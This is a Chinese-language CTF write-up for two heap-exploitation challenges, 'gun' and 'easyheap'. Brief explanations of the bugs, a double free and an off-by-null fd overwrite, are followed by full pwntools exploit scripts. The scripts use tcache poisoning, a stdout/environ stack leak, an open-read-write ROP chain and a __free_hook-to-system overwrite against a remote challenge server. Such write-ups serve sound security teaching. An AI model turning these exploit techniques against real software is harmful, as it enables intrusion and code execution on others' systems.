PWN

gun

实现了单向的操作,buy是获取堆块,load是将堆块填入,shoot是输出堆块的信息,并进行free。

首先是leak的,直接unsortbin即可leak出libc地址。

接着由于shoot的时候没有对对链表清空,所以可以先申请9个fastbin范围的堆块,倒序load再shoot,接着再申请回7个,再将第一个载入,再进行shoot,就会将原本已经在fastbin的堆块再次free,得到double free。接着再将tcache中的7个堆块申请回来,再申请一个即可发现tcache中又存在了3个tcache,并且构成了循环,这样即可达到任意地址申请的目的。

接着第一步先申请到stdout中,进行修改write的指针到environ附近,从而leak出栈地址。

接着第二步将地址申请到栈上,劫持返回地址,修改rsp到堆上步骤好的rop串进行orw。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
p = process("./gun",env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("123.57.209.176","30772")
libc = ELF("./libc-2.31.so")
#context.log_level = 'debug'
def shoot(times):
p.recvuntil("Action> ")
p.sendline("1")
p.recvuntil("Shoot time: ")
p.sendline(str(times))
def load(idx):
p.recvuntil("Action> ")
p.sendline("2")
p.recvuntil("Which one do you want to load?")
p.sendline(str(idx))
def buy(size,data):
p.recvuntil("Action> ")
p.sendline("3")
p.recvuntil("Bullet price:")
p.sendline(str(size))
p.recvuntil("Bullet Name: ")
p.send(data)

p.recvuntil("Your name: ")
p.sendline("aaa")
for i in range(9):
buy(0x88,'1111\n')
for i in range(9):
load(8-i)
shoot(9)
buy(0x38,'\n')
load(0)
shoot(1)
p.recvuntil("Pwn! The ")
libc.address = u64(p.recv(6)+b'\x00\x00')-0x1EBBE0
print(hex(libc.address))

#io leak stack
for i in range(10):
buy(0x38,'\n')
load(0)
shoot(10)
for i in range(7):
buy(0x38,'\n')
load(0)
shoot(9)
p.recvuntil("Pwn! The ")
p.recvuntil("Pwn! The ")
heap = u64(p.recv(6)+b'\x00\x00')-0x770 -0x50
print(hex(heap))
for i in range(7):
buy(0x38,'\n')
buy(0x38,p64(libc.sym['_IO_2_1_stdout_'])+b'\n')
print(hex(libc.sym['_IO_2_1_stdout_']))
buy(0x38,'\n')
buy(0x38,'\n')
buy(0x38,p64(0xfbad1800)+p64(0)*3+p64(libc.sym['environ'])+p64(libc.sym['environ']+8)+p64(libc.sym['environ']+8)+b'\n')#write1
stack = u64(p.recv(6)+b'\x00\x00')
print(hex(stack))


pop_rsp = 0x0000000000032b5a + libc.address
pop_rdi = 0x0000000000026b72 + libc.address
pop_rsi = 0x0000000000027529 + libc.address
pop_rdx_r12 = 0x000000000011c371 + libc.address
pop_rax = 0x000000000004a550 + libc.address
syscall = 0x0000000000122F29 + libc.address
ROP1 = p64(pop_rsp)
ROP1 += p64(heap+0xa60+8)


payload = b'flag\x00'.ljust(8,b'\x00')
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(heap+0xa60)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx_r12)
payload += p64(0)
payload += p64(0)
payload += p64(syscall)


payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(heap+0xa60+0x100)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(syscall)


payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(heap+0xa60+0x100)
payload += p64(pop_rdx_r12)
payload += p64(0x100)
payload += p64(0)
payload += p64(syscall)
load(0)
shoot(9)
for i in range(9):
buy(0x18,'\n')
load(0)
shoot(9)
for i in range(7):
buy(0x18,'\n')
load(0)
shoot(8)
for i in range(7):
buy(0x18,'\n')
buy(0x18,p64(stack-0x100)+b'\n')
buy(0x18,'\n')
buy(0x18,'\n')
buy(0x18,ROP1+b'\n')
load(2)
shoot(1)
buy(0x200,payload+b'\n')

#gdb.attach(p,'b *$rebase(0x1B69)')
p.sendline("4")
p.recvuntil("Goodbye!")
p.interactive()

easyheap

程序存在逻辑漏洞:

image-20201025212841046

第一次输入不符合要求的size后也会作为后面写入null字节的偏移量,通过这一漏洞可以修改一个free状态的fd,再在fd对应地址处输入值即可劫持fd,从而申请到任意地址。

首先通过0x80堆块进行leak,得到libc地址。接着用上述漏洞申请到__free_hook,再将其修改为system,即可getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
p = process("./easyheap",env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("123.57.209.176","30774")
libc = ELF("./libc-2.31.so")
#context.log_level = 'debug'
def add(size,data):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(data)
def add2(size,data):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(-4))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(data)
def add3(size,data):
p.recvuntil(">> ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(0x91))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(data)
def show(idx):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def free(idx):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))


for i in range(8):
add(0x80,'\n')
for i in range(8):
free(7-i)
add2(1,'1')
show(0)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6)+b'\x00\x00')-0x1EBC31
print(hex(libc.address))
for i in range(5):
add(0x80,'\n')
for i in range(2):
add(0x80,p64(libc.sym['__free_hook'])+b'\n')
free(3)
free(7)
free(5)
free(4)
add3(0x80,'1\n')
add(0x80,'\n')
add(0x80,'/bin/sh\x00\n')
add(0x80,p64(libc.sym['system'])+b'\n')
free(5)
#gdb.attach(p,'b *$rebase(0x1537)\nb system')

p.interactive()